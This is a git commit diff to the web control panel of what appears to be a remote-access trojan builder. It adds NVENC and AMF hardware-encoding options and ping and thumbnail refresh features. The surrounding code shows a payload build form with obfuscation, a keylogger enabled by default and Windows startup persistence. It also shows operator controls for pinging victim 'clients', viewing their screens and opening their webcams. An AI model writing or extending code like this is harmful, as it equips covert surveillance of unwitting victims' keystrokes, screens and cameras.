AMF + NVENC control and support

This commit is contained in:
KingKDot
2026-07-11 14:55:26 -05:00
parent 62cd920936
commit 424ed348e3
31 changed files with 761 additions and 35 deletions
+10
View File
@@ -188,6 +188,8 @@ function setBuildField(field, value) {
garbleLiterals: 'input[name="garble-literals"]',
garbleTiny: 'input[name="garble-tiny"]',
disableCgo: 'input[name="disable-cgo"]',
enableNvenc: 'input[name="enable-nvenc"]',
enableAmf: 'input[name="enable-amf"]',
stripDebug: 'input[name="strip-debug"]',
noPrinting: 'input[name="no-printing"]',
enableWebrtc: 'input[name="enable-webrtc"]',
@@ -455,6 +457,8 @@ function collectFormSettings() {
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
@@ -522,6 +526,8 @@ function applyFormSettings(settings) {
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
@@ -1692,6 +1698,8 @@ form?.addEventListener("submit", async (e) => {
const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
const enablePersistence = form.querySelector(
'input[name="enable-persistence"]',
@@ -1739,6 +1747,8 @@ form?.addEventListener("submit", async (e) => {
disableMutex,
stripDebug,
disableCgo,
enableNvenc,
enableAmf,
obfuscate,
enablePersistence,
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
+32 -4
View File
@@ -346,6 +346,23 @@ export async function sendCommand(clientId, action) {
}
}
export async function pingClientNow(clientId) {
try {
const res = await fetch(`/api/clients/${clientId}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "ping", waitForResult: true }),
});
if (!res.ok) throw new Error(`ping failed ${res.status}`);
const result = await res.json().catch(() => ({}));
await loadWithOptions({ force: true, reorder: false });
return Boolean(result?.updated);
} catch (err) {
console.error("Failed to refresh ping:", err);
return false;
}
}
export async function fetchVoiceCapabilities(clientId) {
try {
const res = await fetch(`/api/clients/${clientId}/command`, {
@@ -375,15 +392,26 @@ export async function requestPreview(clientId) {
export async function requestThumbnail(clientId) {
try {
const res = await fetch(`/api/clients/${clientId}/thumbnail`, {
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, {
method: "POST",
headers: { "x-overlord-thumbnail-source": "manual" },
});
if (res.ok) {
const data = await res.json();
if (data.ok) {
await loadWithOptions({ force: true });
setTimeout(() => loadWithOptions({ force: true }), 250);
setTimeout(() => loadWithOptions({ force: true }), 800);
if (data.updated && Number(data.version) > 0) {
const escapedId = typeof CSS !== "undefined" && CSS.escape ? CSS.escape(clientId) : clientId;
document.querySelectorAll(`[data-thumb-client="${escapedId}"]`).forEach((host) => {
const img = host.querySelector("img[data-thumb-img]");
if (!img) return;
const url = `/api/clients/${encodeURIComponent(clientId)}/thumbnail?v=${Number(data.version)}`;
host.dataset.thumbVersion = String(data.version);
img.dataset.thumbUrl = url;
img.src = url;
img.style.display = "block";
});
}
await loadWithOptions({ force: true, reorder: false });
return true;
}
}
+12 -2
View File
@@ -8,6 +8,7 @@ import {
renderCachedClients,
startAutoRefresh,
sendCommand,
pingClientNow,
requestPreview,
requestThumbnail,
markManualDisconnect,
@@ -1032,6 +1033,15 @@ document.querySelectorAll(".dashboard-menu").forEach((details) => {
let dashboardThumbnailLoader = null;
function refreshDashboardThumbnail(clientId) {
if (dashboardThumbnailLoader?.refreshNow(clientId)) {
return;
}
// The loader initializes asynchronously; preserve manual refreshes made
// before it is ready.
requestThumbnail(clientId);
}
async function isDashboardThumbnailEnabled() {
try {
const res = await fetch("/api/settings/thumbnails", { credentials: "include" });
@@ -1105,8 +1115,8 @@ function initializeRenderer() {
},
openModal,
requestPreview,
requestThumbnail,
pingClient: (id) => sendCommand(id, "ping"),
requestThumbnail: refreshDashboardThumbnail,
pingClient: pingClientNow,
onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"),
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
+4
View File
@@ -518,6 +518,10 @@ export function createRenderer({
const thumbImg = e.target.closest(".thumb-img");
if (thumbImg) {
if (card.dataset.online === "true") {
if (pingClient) pingClient(clientId);
requestThumbnail(clientId);
}
if (thumbImg.src) openModal(thumbImg.src);
return;
}
@@ -157,11 +157,14 @@ export class ThumbnailLoader {
}
refreshNow(clientId) {
let touched = false;
for (const rec of this.records.values()) {
if (clientId && rec.clientId !== clientId) continue;
rec.lastTriggerAt = 0;
touched = true;
}
this.tick();
return touched;
}
applyVersion(element, rec) {
+16
View File
@@ -679,6 +679,22 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
<div class="flex flex-col">
<span><i class="fa-solid fa-microchip text-green-400 mr-2"></i>Include NVIDIA NVENC</span>
<span class="text-xs text-slate-500">Native NVIDIA H.264 acceleration for Windows CGO builds</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
<input type="checkbox" name="enable-amf" class="w-4 h-4" checked />
<div class="flex flex-col">
<span><i class="fa-solid fa-microchip text-red-400 mr-2"></i>Include AMD AMF</span>
<span class="text-xs text-slate-500">Native AMD H.264 acceleration for Windows CGO builds</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
<div class="flex flex-col">